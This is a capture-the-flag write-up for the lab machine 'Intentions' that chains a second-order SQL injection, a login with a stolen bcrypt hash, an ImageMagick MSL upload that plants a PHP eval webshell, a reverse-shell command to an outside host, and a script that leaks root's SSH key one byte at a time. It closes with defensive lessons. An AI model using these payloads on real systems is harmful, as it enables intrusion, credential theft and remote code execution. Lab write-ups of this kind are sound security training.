Target IP: 10.10.11.220
Hostname: intentions.htb

Initial Reconnaissance

Only SSH and a web server were exposed.

ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.10.11.220 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.220

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    nginx 1.18.0 (Ubuntu)

The site was an image gallery with a login. After registering an account, the UI itself was thin, so the real map of the application was in its JavaScript bundles.

Mapping the API from JavaScript

Fuzzing /js/ turned up app.js and admin.js. These were minified Vue.js bundles where all the real routing and API calls lived.

Reading them revealed two API versions. The v1 API drove the normal user interface.

/api/v1/auth/user
/api/v1/gallery/user/genres      (POST: sets your favorite genres)
/api/v1/gallery/user/feed        (GET: images filtered by your genres)

admin.js leaked the v2 admin API and, notably, a news post explaining a “security upgrade”:

By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.

That single sentence is the whole foothold. If the client hashes the password and the server compares hashes, then the hash is the credential.

Second-Order SQL Injection

The feed feature stores your genres string and later builds a query from it. This is a classic second-order injection. I set my genres to a UNION payload (tabs as %09 to dodge space filtering), then read the feed to get the result back.

POST /api/v1/gallery/user/genres
{"genres":"nature')%09union%09select%09null,group_concat(concat_ws(0x3a,name,password,email)),null,null,null%09from%09users;#"}

curl -b cookies http://intentions.htb/api/v1/gallery/user/feed

The users table came back, including the administrators.

steve:$2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa:steve@intentions.htb
greg:$2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m:greg@intentions.htb

These bcrypt hashes never cracked. But they did not need to.

Logging in With a Hash

Because the v2 login expects a client-side hash, I sent Steve’s stolen bcrypt hash straight to the v2 login endpoint instead of a password.

POST /api/v2/auth/login
{"email":"steve@intentions.htb","hashed_password":"$2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa"}

That returned a valid admin JWT. I was now Steve, with access to the v2 admin API.

ImageMagick MSL to a Webshell

The admin image editor called /api/v2/admin/image/modify with a path and an effect, and the backend fed path to PHP’s Imagick. Imagick supports MSL (Magick Scripting Language), and a known technique abuses the pseudo-protocol vid:msl: to execute an attacker-supplied script.

When PHP receives a multipart upload, it writes the body to a temporary /tmp/phpXXXXXX file. If I point Imagick at vid:msl:/tmp/php*, it globs and parses my uploaded MSL, which reads a PHP payload via the caption: coder and writes a webshell into the public storage directory.

POST /api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=hehe HTTP/1.1
Content-Type: multipart/form-data; boundary=ABC

--ABC
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:&lt;?php @eval(@$_REQUEST['a']); ?&gt;" />
 <write filename="info:/var/www/html/intentions/storage/app/public/swarm.php" />
</image>
--ABC--

The webshell landed in the public directory and executed commands as www-data.

curl "http://10.10.11.220/storage/swarm.php?a=id"
# caption:uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "http://10.10.11.220/storage/swarm.php?a=bash%20-c%20%22bash%20-i%20>%26%20/dev/tcp/10.10.14.9/5555%200>%261%22"

From www-data to greg

The Laravel .env gave the database password, but the more useful find was an exposed .git directory in the web root. I archived it on the target and pulled it back (a raw recursive fetch of thousands of loose objects was painfully slow).

# target
cd /var/www/html/intentions && tar cf /tmp/git.tar .git && (cd /tmp && python3 -m http.server 8080)
# attacker
git log ; git diff HEAD^ HEAD

A committed test helper contained Greg’s plaintext password.

$res = $test->postJson('/api/v1/auth/login',
  ['email' => 'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);

It worked over SSH, and Greg had the user flag, plus membership in a suggestive scanner group.

ssh greg@intentions.htb   # Gr3g1sTh3B3stDev3l0per!1998!
id                        # groups=1001(greg),1003(scanner)
cat user.txt

Privilege Escalation: a File-Read Oracle

The scanner group owned /opt/scanner/scanner, a Go tool that compares files against an MD5 blacklist. Its -p debug flag prints the MD5 of the first -l bytes of a file, and thanks to a cap_dac_read_search capability it can read root-owned files even without setuid.

/opt/scanner/scanner -l 1 -c /root/.ssh/id_rsa -p -s hehe
# [DEBUG] /root/.ssh/id_rsa has hash 336d5ebc5436534e61d16e63ddfca327
echo -n "-" | md5sum   # 336d5ebc...  -> first byte is "-"

That is a byte-at-a-time oracle. By increasing -l and brute-forcing each new character against the printed MD5, I recovered root’s private key one byte at a time.

import os, string
from hashlib import md5

target = ""
for n in range(1, 4000):
    h = os.popen(f"/opt/scanner/scanner -l {n} -c /root/.ssh/id_rsa -p -s hehe").read().split(" ")[4].strip()
    for ch in string.printable:
        if md5((target + ch).encode()).hexdigest() == h:
            target += ch
            break
print(target)

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQ...
-----END OPENSSH PRIVATE KEY-----

With root’s key in hand, SSH gave the final shell.

ssh -i root_key root@intentions.htb
cat /root/root.txt

Takeaways

Intentions is a chain of “clever” ideas that each backfire. Hashing passwords client side turns the hash into a password-equivalent, so a SQL injection that leaks hashes is a full login bypass. An image “effects” feature that trusts a file path becomes remote code execution through ImageMagick’s MSL. And a capability meant to let a scanner read protected files becomes an oracle that leaks those files one byte at a time.

The recurring lesson is that a security control has to be reasoned about end to end. Every step here was a control the developers thought made them safer.